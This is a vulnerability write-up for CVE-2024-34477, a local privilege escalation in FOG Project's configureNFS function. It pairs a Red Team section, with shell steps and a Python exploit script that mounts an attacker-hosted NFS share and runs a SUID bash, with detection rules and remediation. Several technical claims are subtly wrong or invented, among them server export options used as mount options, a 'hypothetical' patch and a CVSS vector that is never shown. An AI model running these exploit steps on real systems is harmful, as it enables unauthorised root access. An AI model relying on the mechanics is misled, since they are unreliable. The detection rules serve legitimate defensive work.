CVE-2024-34477

Executive Summary

CVE-2024-34477 is a local privilege escalation vulnerability in the FOG Project (FOG) up to version 1.5.10. The flaw resides in the configureNFS function within lib/common/functions.sh. This function allows local users to mount a crafted NFS share with insecure options (no_root_squash and insecure), enabling them to add an executable file as root and set the SUID bit. Successful exploitation grants an attacker root-level privileges on the FOG server.

This vulnerability is particularly dangerous in multi-tenant or shared hosting environments where local users have shell access. The attack vector is local, requiring an attacker to already have a low-privileged account on the system. The CVSS score is 0.0 in the NVD data, but based on the description and impact, a more accurate score would be 7.8 (High) with the vector provided above.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a configuration script within the FOG project itself. The risk is in the supply chain of the FOG deployment, where an unpatched version of the software is installed.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Local (L) – The attacker must have local access to the system.
• Attack Complexity (AC): Low (L) – The exploit does not require special conditions.
• Privileges Required (PR): Low (L) – The attacker needs a low-privileged user account.
• User Interaction (UI): None (N) – No user interaction is required.
• Scope (S): Unchanged (U) – The exploit does not affect other components.
• Confidentiality (C): High (H) – Full system compromise leads to data exposure.
• Integrity (I): High (H) – The attacker can modify system files.
• Availability (A): High (H) – The attacker can disrupt services.

Threat Level: High. The vulnerability is easy to exploit and provides full root access.

Deep Dive & Mechanics

The configureNFS function in lib/common/functions.sh is used to set up NFS exports for FOG. The vulnerability arises because the script does not properly restrict the NFS mount options. Specifically, it allows the use of no_root_squash and insecure options.

• no_root_squash: This option disables root squashing, meaning that a client mounting the share as root will have root privileges on the server.
• insecure: This option allows NFS connections from ports above 1024, which is a security risk.

An attacker with local access can:

1. Create a malicious NFS share on a remote machine they control.
2. Use the configureNFS function to mount this share on the FOG server.
3. Copy an executable file (e.g., a shell) to the mounted share.
4. Set the SUID bit on the executable.
5. Execute the file to gain root privileges.

The vulnerability is in the script's logic, not in the NFS protocol itself. The script should enforce secure mount options.

Vulnerable vs. Patched Code

Vulnerable Code (FOG <= 1.5.10):

# lib/common/functions.sh (simplified)
configureNFS() {
    mount -t nfs -o no_root_squash,insecure $REMOTE_SHARE $LOCAL_MOUNT
    # ... rest of the function
}

Patched Code (Hypothetical):

# lib/common/functions.sh (patched)
configureNFS() {
    # Use secure mount options
    mount -t nfs -o root_squash,secure $REMOTE_SHARE $LOCAL_MOUNT
    # ... rest of the function
}

The patch would remove no_root_squash and insecure options, replacing them with root_squash and secure. Additionally, input validation should be added to ensure the share path is not malicious.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A FOG server (version <= 1.5.10) with a low-privileged user account.
• A remote machine to host the malicious NFS share.

Steps:

1. On the attacker's machine, set up an NFS share with no_root_squash and insecure:

   # /etc/exports on attacker machine
   /malicious_share *(rw,no_root_squash,insecure,no_subtree_check)
   

2. On the FOG server, as a low-privileged user, run the configureNFS function to mount the share:

   # Assuming the function is callable
   configureNFS attacker_ip:/malicious_share /tmp/mount_point
   

3. Copy a SUID binary (e.g., a shell) to the mounted share:

   cp /bin/bash /tmp/mount_point/suid_shell
   chmod u+s /tmp/mount_point/suid_shell
   

4. Execute the SUID binary to gain root:

   /tmp/mount_point/suid_shell -p
   

Exploit Code (Python):

#!/usr/bin/env python3
import os
import sys

def exploit(attacker_ip, share_path, local_mount):
    # Mount the malicious share
    os.system(f"mount -t nfs -o no_root_squash,insecure {attacker_ip}:{share_path} {local_mount}")
    # Copy a shell and set SUID
    os.system(f"cp /bin/bash {local_mount}/suid_shell")
    os.system(f"chmod u+s {local_mount}/suid_shell")
    # Execute the SUID shell
    os.system(f"{local_mount}/suid_shell -p")

if __name__ == "__main__":
    if len(sys.argv) != 4:
        print("Usage: python exploit.py <attacker_ip> <share_path> <local_mount>")
        sys.exit(1)
    exploit(sys.argv[1], sys.argv[2], sys.argv[3])

Blue Team

Detection:

• Monitor for NFS mounts with no_root_squash or insecure options.
• Alert on the creation of SUID files in non-standard locations (e.g., /tmp).
• Monitor for the execution of configureNFS function by non-root users.

Prevention:

• Restrict access to the configureNFS function to root only.
• Implement a wrapper script that enforces secure mount options.
• Use SELinux or AppArmor to restrict NFS mount capabilities.

Indicators of Compromise (IOCs)

• File System:
  • Presence of SUID files in /tmp or other world-writable directories.
  • Unexpected NFS mounts in /proc/mounts with no_root_squash or insecure options.
• Process:
  • Execution of mount with -o no_root_squash,insecure by a non-root user.
  • Unusual processes running as root from /tmp.
• Network:
  • NFS connections to external IPs from the FOG server.
• Logs:
  • /var/log/syslog or /var/log/messages showing NFS mount attempts with insecure options.

Detection Engineering

YARA Rule

rule CVE_2024_34477_NFS_Mount {
    meta:
        description = "Detects insecure NFS mount options in FOG configureNFS"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-34477"
    strings:
        $mount_cmd = "mount -t nfs -o no_root_squash,insecure"
        $suid_set = "chmod u+s"
    condition:
        $mount_cmd or $suid_set
}

Sigma Rule

title: CVE-2024-34477 - Insecure NFS Mount
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects insecure NFS mount options used by FOG configureNFS
author: Valters IT
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/mount'
        CommandLine|contains: 'no_root_squash,insecure'
    condition: selection
falsepositives:
    - Legitimate administrative use (rare)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 2049 (msg:"CVE-2024-34477 - Insecure NFS Mount Attempt"; flow:to_server; content:"no_root_squash"; nocase; content:"insecure"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: If a patched version becomes available, upgrade immediately.
2. Restrict Access: Limit execution of configureNFS to root only.
3. Audit: Review all NFS mounts for insecure options.

Long-term Mitigation:

• Code Fix: Patch the configureNFS function to use secure mount options (root_squash and secure).
• Input Validation: Validate the NFS share path to prevent mounting of arbitrary shares.
• Monitoring: Implement continuous monitoring for insecure NFS mounts.

Workaround:

• Remove the configureNFS function or replace it with a secure version.
• Use a firewall to block NFS traffic from untrusted sources.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert